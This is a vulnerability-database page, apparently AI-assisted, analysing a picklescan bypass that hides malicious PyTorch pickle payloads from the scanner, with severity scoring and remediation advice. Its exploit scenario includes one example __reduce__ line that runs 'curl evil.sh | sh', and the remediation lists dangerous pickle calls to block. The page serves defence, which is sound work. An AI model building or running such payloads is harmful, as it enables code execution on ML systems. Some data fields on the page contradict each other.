Skip to main content

picklescan CVE-2026-53875

HIGH
Eval Injection (CWE-95)
2026-06-17 VulnCheck
7.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Craft PyTorch payload with __reduce__(eval, MAGIC)
  2. Delivery
    Upload model to hub/registry
  3. Exploit
    Victim runs picklescan <1.0.3, scanner reports clean
  4. Install
    Victim calls torch.load(weights_only=False)
  5. C2
    pickle VM executes attacker __reduce__
  6. Execute
    Arbitrary code runs as loading user
  7. Impact
    Persist on ML training host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Eval input sanitization
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires (1) the victim environment to be running picklescan <1.0.3 against the malicious file, (2) the victim to subsequently deserialize the same file with torch.load() using weights_only=False (the legacy default; the safer weights_only=True path does not execute __reduce__ and blocks the attack), and (3) the attacker to be able to deliver a .pt/.pth file to the victim - typically via a public model hub, a shared artifact registry, a supply-chain pull request, or any other channel the victim treats as trusted because picklescan cleared it. No authentication to the scanner or the victim system is needed (PR:N), but the attack is not zero-click: a human or automation must explicitly invoke torch.load with unsafe deserialization enabled (UI:P), which is exactly the limit the CVSS 4.0 vector reflects.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N) scoring 7.1 is internally consistent: delivery is network-borne (downloading a model from Hugging Face, a registry, or a teammate), no authentication is required against the scanner, but a user must actively load the model with torch.load(weights_only=False), which is the UI:P passive interaction. Real-world risk is meaningfully higher than the headline number suggests because picklescan is specifically the control many ML platforms rely on to declare a model 'safe' - a working bypass directly defeats that gate, and a full PoC is public in the GHSA advisory and VulnCheck writeup (publicly available exploit code exists). No EPSS score and no CISA KEV entry were provided in the input, so active in-the-wild exploitation cannot be asserted, but given the popularity of the ML model supply chain as a target and the simplicity of the trick, treat this as a high-priority patch for any pipeline that ingests third-party .pt/.pth files. One signal worth flagging: the GHSA lists the fix as 1.0.3 while the linked commit (2a8383c) only bumps setup.cfg from 0.0.25 to 0.0.26, so the exact released version number should be re-verified against PyPI before pinning.

Exploit ScenarioDerived

An attacker publishes a benign-looking PyTorch model (e.g., a fine-tuned LLM checkpoint) on a public model hub, crafted with a payload class whose __reduce__ returns (os.system, ('curl evil.sh | sh',)) and whose magic number is smuggled via a (eval, ('MAGIC_NUMBER',)) reducer. A data scientist or an automated CI step scans the file with picklescan <1.0.3, which reports zero infected files and zero dangerous globals because pickletools.genops() never sees the magic as an INT/LONG opcode. The model is then loaded with torch.load(file, weights_only=False) on a developer workstation or GPU training node, executing the attacker's command as the loading user - a public end-to-end PoC for this exact flow is in GHSA-97f8-7cmv-76j2.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 17, 2026

Scanner evasion in picklescan versions prior to 1.0.3 lets an attacker smuggle malicious PyTorch pickle payloads past the scan_pytorch detection routine and gain arbitrary code execution when the model is later loaded with torch.load(). The bypass exploits a parser-differential between picklescan's pickletools.genops()-based magic-number extraction and PyTorch's pickle_module.load(), allowing a __reduce__(eval, ('MAGIC_NUMBER',)) trick to produce files that scan as clean but still deserialize correctly. A detailed proof-of-concept is published in the GHSA advisory and the VulnCheck writeup; no CISA KEV listing or EPSS score was supplied in the input.

RemediationAI

Vendor-released patch: upgrade picklescan to 1.0.3 or later (pip install --upgrade 'picklescan>=1.0.3'); the fix lands in commits 2a8383cfeb4158567f9770d86597300c9e508d0f and 134179474539648ba7dee1317959529fbd0e7f89 referenced from GHSA-97f8-7cmv-76j2. Until the upgrade is rolled out everywhere that ingests model files, stop relying on picklescan as a sole 'safe to load' signal and load PyTorch checkpoints with torch.load(..., weights_only=True) - this restricts deserialization to safe tensor primitives and blocks the __reduce__/eval gadget entirely, at the cost of breaking models that legitimately serialize Python objects (custom classes, lambdas, optimizer states with arbitrary callables). For pipelines that must accept full pickle models, sandbox the load in a network- and filesystem-restricted process (seccomp, gVisor, or a disposable container), and reject any pickle that contains REDUCE/GLOBAL opcodes referencing eval, exec, os.system, subprocess, or __import__ as a complementary scanner rule. Restrict accepted model sources to a signed/internal registry rather than ad-hoc Hugging Face downloads to reduce attacker reachability.

Affected Packages

pypi picklescan fix: 1.0.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

picklescan is a Python pickle malware scanner widely used in ML supply-chain tooling to vet PyTorch model files before they are deserialized. Its scan_pytorch path calls get_magic_number(), which iterates pickle opcodes via pickletools.genops() and only treats values whose opcode name contains INT or LONG as the magic number. PyTorch's own _legacy_save / serialization.py instead executes the pickle stream through pickle_module.load(), which honors REDUCE opcodes and therefore evaluates a (eval, ('MAGIC_NUMBER',)) reducer at load time to recover the same integer. This semantic gap between a static opcode walker and a real pickle VM is the textbook root cause behind CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / 'Eval Injection'): the scanner's model of the file diverges from the consumer's model, and the malicious __reduce__ that smuggles code execution rides through on the same parser-differential.

Know when Picklescan gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 7.1 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
vuln.today AI 8.8 HIGH

Malicious model is delivered over the network with no auth to the scanner (AV:N/PR:N), but the victim must invoke torch.load with unsafe deserialization (UI:R); successful __reduce__ yields full code execution, so C/I/A:H.

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

picklescan before 1.0.3 contains a scanning bypass vulnerability in the scan_pytorch function that allows attackers to embed malicious magic numbers via dynamic eval using the __reduce__ trick. Attackers can craft malicious PyTorch payloads that evade picklescan detection while remaining executable, enabling arbitrary code execution when loaded with torch.load().

Executive ViewAI

Why It Matters

picklescan versions prior to 1.0.3 fail to detect malicious PyTorch models that exploit parser differences between the scanner and the PyTorch loader, enabling arbitrary code execution when models are deployed. Organizations using picklescan to validate model safety face the risk of deploying compromised machine learning models that evade detection. This vulnerability directly threatens the integrity of ML/AI supply chains and production systems.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.4%
Top 65% exploitable
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

cpe:2.3:a:picklescan:picklescan:*:*:*:*:*:*:*:*
CVE-2026-3490 CRITICAL POC
10.0 Jun 17

Remote code execution against users of picklescan versions prior to 1.0.4 is achievable by smuggling any blocked functio

CVE-2025-10156 CRITICAL POC
9.3 Sep 17

An Improper Handling of Exceptional Conditions vulnerability in the ZIP archive scanning component of mmaitre314 pickles

CVE-2025-10157 CRITICAL POC
9.3 Sep 17

A Protection Mechanism Failure vulnerability in mmaitre314 picklescan versions up to and including 0.0.30 allows a remot

CVE-2025-10155 CRITICAL POC
9.3 Sep 17

An Improper Input Validation vulnerability in the scanning logic of mmaitre314 picklescan versions up to and including 0

CVE-2025-71341 HIGH POC
7.6 Jun 23

Detection bypass in picklescan prior to 0.0.29 allows attackers to smuggle remote code execution payloads through pickle

CVE-2025-71351 HIGH POC
7.6 Jun 21

Detection bypass in picklescan versions before 0.0.25 allows attackers to embed remote code execution payloads in pickle

CVE-2025-71370 HIGH POC
7.6 Jun 23

Detection bypass in picklescan before 0.0.28 allows attackers to embed malicious torch.jit.unsupported_tensor_ops.execWr

CVE-2025-71348 HIGH POC
7.6 Jun 21

Detection bypass in picklescan before 0.0.28 allows attackers to smuggle arbitrary code through pickle files by abusing

CVE-2025-71361 HIGH POC
7.6 Jun 24

Detection bypass in picklescan before 0.0.29 allows malicious pickle files to evade scanning by abusing the undetected i

CVE-2025-71378 HIGH POC
7.6 Jun 21

Detection bypass in picklescan versions before 0.0.30 allows malicious pickle files to evade security scanning by using

CVE-2025-71376 HIGH POC
7.6 Jun 23

Detection bypass in picklescan versions prior to 0.0.29 allows attackers to smuggle arbitrary code execution payloads th

CVE-2025-71365 HIGH POC
7.6 Jun 23

Detection bypass in picklescan before 0.0.33 allows attackers to smuggle arbitrary code through malicious pickle files b

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy